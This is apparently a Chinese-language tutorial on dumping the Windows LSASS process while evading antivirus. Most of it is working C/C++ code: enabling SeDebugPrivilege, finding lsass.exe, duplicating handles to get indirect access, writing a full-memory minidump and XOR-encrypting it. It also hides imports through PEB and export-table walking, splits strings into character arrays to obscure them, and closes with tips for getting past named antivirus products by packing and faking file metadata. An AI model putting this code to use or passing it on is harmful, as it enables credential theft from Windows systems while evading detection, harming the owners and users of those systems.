DumpLsass免杀
字数 724 2025-08-24 07:48:23
DumpLsass 免杀技术详解
1. 常规 DumpLsass 流程
常规 DumpLsass 流程主要包括以下几个步骤:
- 获取相关 token 权限
- 拿到 lsass 进程句柄
- 通过 MiniDumpWriteDump API 来 DumpLsass
1.1 基础代码实现
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment (lib, "Dbghelp.lib")
using namespace std;
int main() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
// 创建转储文件句柄
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// 查找 lsass PID
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
}
// 打开 lsass.exe 进程句柄
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// 创建 minidump
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) {
cout << "[+] lsass dumped successfully!" << endl;
}
return 0;
}
1.2 权限问题
DumpLsass 需要 SeDebugPrivilege 权限,管理员 PowerShell 默认具有此权限,但 cmd 中需要手动提升进程权限。
2. 提升进程权限
BOOL SetDebugPrivilege() {
HANDLE token = NULL;
NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token);
TOKEN_ELEVATION tokenElevation = {0};
DWORD tokenElevationSize = sizeof(TOKEN_ELEVATION);
NtQueryInformationToken(token, TokenElevation, &tokenElevation, sizeof(tokenElevation), &tokenElevationSize);
if (tokenElevation.TokenIsElevated) {
DWORD tokenPrivsSize = 0;
NtQueryInformationToken(token, TokenPrivileges, NULL, NULL, &tokenPrivsSize);
PTOKEN_PRIVILEGES tokenPrivs = (PTOKEN_PRIVILEGES)new BYTE[tokenPrivsSize];
NtQueryInformationToken(token, TokenPrivileges, tokenPrivs, tokenPrivsSize, &tokenPrivsSize);
for (DWORD i = 0; i < tokenPrivs->PrivilegeCount; i++) {
if (tokenPrivs->Privileges[i].Luid.LowPart == 0x14) { // SeDebugPrivilege
tokenPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;
NtAdjustPrivilegesToken(token, FALSE, tokenPrivs, tokenPrivsSize, NULL, NULL);
}
}
delete tokenPrivs;
}
NtClose(token);
return TRUE;
}
3. 进程遍历
DWORD lsassPID = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, charToLPCWSTR("lsass.exe")) != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
std::wcout << "[+] Got PID: " << lsassPID << std::endl;
}
4. MiniDump 实现
MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
5. 对抗点分析
- MiniDumpWriteDump 调用
- lsass 内存的读取
- dmp 文件的写入
- 导出表中的 MiniDumpWriteDump
- 获取 lsass 句柄
6. 高级免杀技术
6.1 间接获取 lsass 句柄
const char lasStr[] = {'l','s','a','s','s','.','e','x','e','\0'};
Process32First(hSnapshot, &pe32);
do {
if (_wcsicmp(pe32.szExeFile, charToLPCWSTR(lasStr)) != 0) {
continue;
}
pid = pe32.th32ProcessID;
CLIENT_ID clientId = {0};
clientId.UniqueProcess = (HANDLE)pid;
clientId.UniqueThread = 0;
OBJECT_ATTRIBUTES objAttr = {0};
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
NtOpenProcess(&processHandle, PROCESS_DUP_HANDLE, &objAttr, &clientId);
if (!processHandle) {
printf("Could not open PID %d! (Don't try to open a system process.)\n", pid);
continue;
}
} while (Process32Next(hSnapshot, &pe32));
6.2 使用 NtQuerySystemInformation 获取句柄信息
typedef enum class _SYSTEM_INFORMATION_CLASS1 {
SystemBasicInformation,
SystemProcessorInformation,
// ... 其他枚举值
SystemHandleInformation,
// ... 其他枚举值
} SYSTEM_INFORMATION_CLASS1, *PSYSTEM_INFORMATION_CLASS1;
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)hlpGetProcAddress(ntdll, NtQuerySystemInformationStr);
PNtDuplicateObject NtDuplicateObject = (PNtDuplicateObject)hlpGetProcAddress(ntdll, NtDuplicateObjectStr);
PNtQueryObject NtQueryObject = (PNtQueryObject)hlpGetProcAddress(ntdll, NtQueryObjectStr);
6.3 遍历句柄并复制
while ((status = NtQuerySystemInformation(_SYSTEM_INFORMATION_CLASS1::SystemHandleInformation,
handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
for (i = 0; i < handleInfo->HandleCount; i++) {
SYSTEM_HANDLE handle = handleInfo->Handles[i];
HANDLE dupHandle = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
status = NtDuplicateObject(processHandle, (HANDLE)handle.Handle,
GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0);
if (status != 0) {
continue;
}
// 检查句柄类型和进程名
const wchar_t w_lasStr[] = {'l','s','a','s','s','.','e','x','e','\0'};
objectNameInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
status = NtQueryObject(dupHandle, _OBJECT_INFORMATION_CLASS1::ObjectTypeInformation,
objectNameInfo, 0x1000, NULL);
if (status != 0) {
CloseHandle(dupHandle);
continue;
}
UNICODE_STRING objectType = *(PUNICODE_STRING)objectNameInfo;
wchar_t path[MAX_PATH];
DWORD maxpath = MAX_PATH;
if (wcsstr(objectType.Buffer, L"Process") != NULL) {
QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath);
if (wcsstr(path, w_lasStr) != NULL) {
// 找到目标句柄
}
}
}
6.4 内存转储与加密
typedef BOOL (WINAPI *PMiniDumpWriteDump)(
IN HANDLE hProcess,
IN DWORD ProcessId,
IN HANDLE hFile,
IN MINIDUMP_TYPE DumpType,
IN PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam OPTIONAL,
IN PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam OPTIONAL,
IN PMINIDUMP_CALLBACK_INFORMATION CallbackParam OPTIONAL
);
const char miniDumpStr[] = {'M','i','n','i','D','u','m','p','W','r','i','t','e','D','u','m','p','\0'};
const char strDMP[] = {'r','e','s','u','l','t','.','b','i','n','\0'};
PMiniDumpWriteDump MiniDumpWriteDump = (PMiniDumpWriteDump)(GetProcAddress(
LoadLibrary(charToLPCWSTR("dbghelp.dll")), miniDumpStr));
HANDLE outFile = NULL;
WCHAR chDmpFile[MAX_PATH] = L"\\??\\C:\\";
wcscat_s(chDmpFile, sizeof(chDmpFile)/sizeof(wchar_t), charToLPCWSTR(strDMP));
UNICODE_STRING uFileName;
RtlInitUnicodeString(&uFileName, chDmpFile);
OBJECT_ATTRIBUTES FileObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
ZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
InitializeObjectAttributes(&FileObjectAttributes, &uFileName,
OBJ_CASE_INSENSITIVE, NULL, NULL);
ntCreateFile(&outFile, FILE_GENERIC_WRITE, &FileObjectAttributes,
&IoStatusBlock, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_WRITE,
FILE_OVERWRITE_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
MiniDumpWriteDump(dupHandle, NULL, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
6.5 使用回调函数加密转储数据
DWORD bytesWritten = 0;
DWORD bytesRead = 0;
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024*1024*1024);
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
) {
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch(callbackInput->CallbackType) {
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
source = callbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
RtlCopyMemory(destination, source, bufferSize);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return TRUE;
}
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
SecureZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = minidumpCallback;
callbackInfo.CallbackParam = NULL;
MiniDumpWriteDump(dupHandle, NULL, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
// 异或加密
for (i = 0; i < bytesRead; i++) {
((BYTE*)dumpBuffer)[i] ^= 0x17;
}
BOOL writeSuccess = WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL);
7. 导入表隐藏技术
7.1 动态获取模块和函数
HMODULE WINAPI hlpGetModuleHandle(LPCWSTR sModuleName) {
#ifdef _M_IX86
PEB* ProcEnvBlk = (PEB*)__readfsdword(0x30);
#else
PEB* ProcEnvBlk = (PEB*)__readgsqword(0x60);
#endif
if (sModuleName == NULL)
return (HMODULE)(ProcEnvBlk->ImageBaseAddress);
PEB_LDR_DATA* Ldr = ProcEnvBlk->Ldr;
LIST_ENTRY* ModuleList = NULL;
ModuleList = &Ldr->InMemoryOrderModuleList;
LIST_ENTRY* pStartListEntry = ModuleList->Flink;
for (LIST_ENTRY* pListEntry = pStartListEntry; pListEntry != ModuleList; pListEntry = pListEntry->Flink) {
LDR_DATA_TABLE_ENTRY* pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (_wcsicmp(pEntry->BaseDllName.Buffer, sModuleName) == 0)
return (HMODULE)pEntry->DllBase;
}
return NULL;
}
7.2 动态获取函数地址
FARPROC hlpGetProcAddress(HMODULE hModule, LPCSTR sProcName) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)hModule + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)hModule +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD pAddressOfFunctions = (PDWORD)((DWORD_PTR)hModule + pExportDir->AddressOfFunctions);
PDWORD pAddressOfNames = (PDWORD)((DWORD_PTR)hModule + pExportDir->AddressOfNames);
PWORD pAddressOfNameOrdinals = (PWORD)((DWORD_PTR)hModule + pExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
LPCSTR pFunctionName = (LPCSTR)((DWORD_PTR)hModule + pAddressOfNames[i]);
if (strcmp(pFunctionName, sProcName) == 0) {
return (FARPROC)((DWORD_PTR)hModule + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
}
return NULL;
}
8. 其他免杀技巧
- 对抗 QVM:添加正常的文件属性,如 icon、version、签名等
- 对抗核晶:使用 VMP 等加壳工具
- 避免直接调用敏感 API:使用间接方式获取函数地址
- 字符串混淆:将敏感字符串拆分为字符数组形式